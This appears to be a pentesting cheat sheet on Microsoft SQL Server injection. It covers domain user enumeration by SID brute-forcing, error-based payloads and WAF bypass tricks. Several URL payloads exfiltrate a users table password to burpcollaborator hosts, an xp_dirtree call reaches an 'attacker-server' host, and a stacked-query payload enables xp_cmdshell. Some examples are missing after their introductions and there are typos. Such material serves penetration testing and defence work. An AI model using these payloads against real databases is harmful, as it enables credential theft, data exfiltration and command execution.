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MSSQL Injection

Active Directory enumeration

It may be possible to enumerate domain users via SQL injection inside a MSSQL server using the following MSSQL functions:
  • SELECT DEFAULT_DOMAIN(): Get current domain name.
  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')): If you know the name of the domain (DOMAIN in this example) this function will return the SID of the user Administrator in hex format. This will look like 0x01050000000[...]0000f401, note how the last 4 bytes are the number 500 in big endian format, which is the common ID of the user administrator. This function will allow you to know the ID of the domain (all the bytes except of the last 4).
  • SUSER_SNAME(0x01050000000[...]0000e803) : This function will return the username of the ID indicated (if any), in this case 0000e803 in big endian == 1000 (usually this is the ID of the first regular user ID created). Then you can imagine that you can brute-force user IDs from 1000 to 2000 and probably get all the usernames of the users of the domain. For example using a function like the following one:
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

Alternative Error-Based vectors

Error-based SQL injections typically resemble constructions such as +AND+1=@@version-- and variants based on the «OR» operator. Queries containing such expressions are usually blocked by WAFs. As a bypass, concatenate a string using the %2b character with the result of specific function calls that trigger a data type conversion error on sought-after data.
Some examples of such functions:
  • DB_NAME()
  • COL_NAME()
Example use of function USER_NAME():



https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
Permissions: Requires VIEW SERVER STATE permission on the server.
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';


https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
Permissions: Requires the CONTROL SERVER permission.
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';


https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
Permissions: Requires the CONTROL SERVER permission.
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

The most common method to make a network call yosqlu will come across using MSSQL is the usage of the Stored Procedure xp_dirtree, which weirdly is undocumented by Microsoft, which caused it to be documented by other folks on the Internet. This method has been used in multiple examples of Out of Band Data exfiltration posts on the Internet.
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');
Much like MySQL’s LOAD_FILE, you can use xp_dirtree to make a network request to only TCP port 445. You cannot control the port number, but can read information from network shares.
PS: This does not work on Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) running on a Windows Server 2016 Datacenter in the default config.
There are other stored procedures **** like master..xp_fileexist or xp_subdirs that can be used for similar results.


Obviously you could also use xp_cmdshell to execute something that triggers a SSRF. For more info read the relevant section in the page:

MSSQL User Defined Function - SQLHttp

It is fairly straightforward to write a CLR UDF (Common Language Runtime User Defined Function - code written with any of the .NET languages and compiled into a DLL) and load it within MSSQL for custom functions. This, however, requires dbo access so may not work unless the web application connection to the database as sa or an Administrator role.
This Github repo has the Visual Studio project and the installation instructions to load the binary into MSSQL as a CLR assembly and then invoke HTTP GET requests from within MSSQL.
The http.cs code uses the WebClient class to make a GET request and fetch the content as specified
using System.Data.SqlTypes;
using System.Net;
public partial class UserDefinedFunctions
public static SqlString http(SqlString url)
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString (html);
In the installation instructions, run the following before the CREATE ASSEMBLY query to add the SHA512 hash of the assembly to the list of trusted assemblies on the server (you can see the list using select * from sys.trusted_assemblies;)
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=, culture=neutral, publickeytoken=null, processorarchitecture=msil';
Once the assembly is added and the function created, we can run the following to make our HTTP requests
DECLARE @url varchar(max);
SET @url = '';
SELECT dbo.http(@url);

Quick exploitation: Retrieve an entire table in one query

There exist two simple ways to retrieve the entire contents of a table in one query — the use of the FOR XML or the FOR JSON clause. The FOR XML clause requires a specified mode such as «raw», so in terms of brevity FOR JSON outperforms it.
The query to retrieve the schema, tables and columns from the current database:
Error-based vectors need an alias or a name, since the output of expressions without either cannot be formatted as JSON.

Retrieving the current query

The current SQL query being executed can be retrieved from access sys.dm_exec_requests and sys.dm_exec_sql_text:
Permissions: If the user has VIEW SERVER STATE permission on the server, the user will see all executing sessions on the instance of SQL Server; otherwise, the user will see only the current session.
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

Little tricks for WAF bypasses

Non-standard whitespace characters: %C2%85 или %C2%A0:
Scientific (0e) and hex (0x) notation for obfuscating UNION:
A period instead of a whitespace between FROM and a column name:
\N separator between SELECT and a throwaway column:

WAF Bypass with unorthodox stacked queries

According to this blog post it's possible to stack queries in MSSQL without using ";":
So for example, multiple quesries such as:
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]
Can be reduced to:
Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:
# Adding a useless exec() at the end and making the WAF think this isn't a valid querie
admina'union select 1,'admin','testtest123'exec('select 1')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'
# Using weirdly built queries
## This will be:
SELECT id, username, password FROM users WHERE username = 'admin'
# Or enabling xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## This will be
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')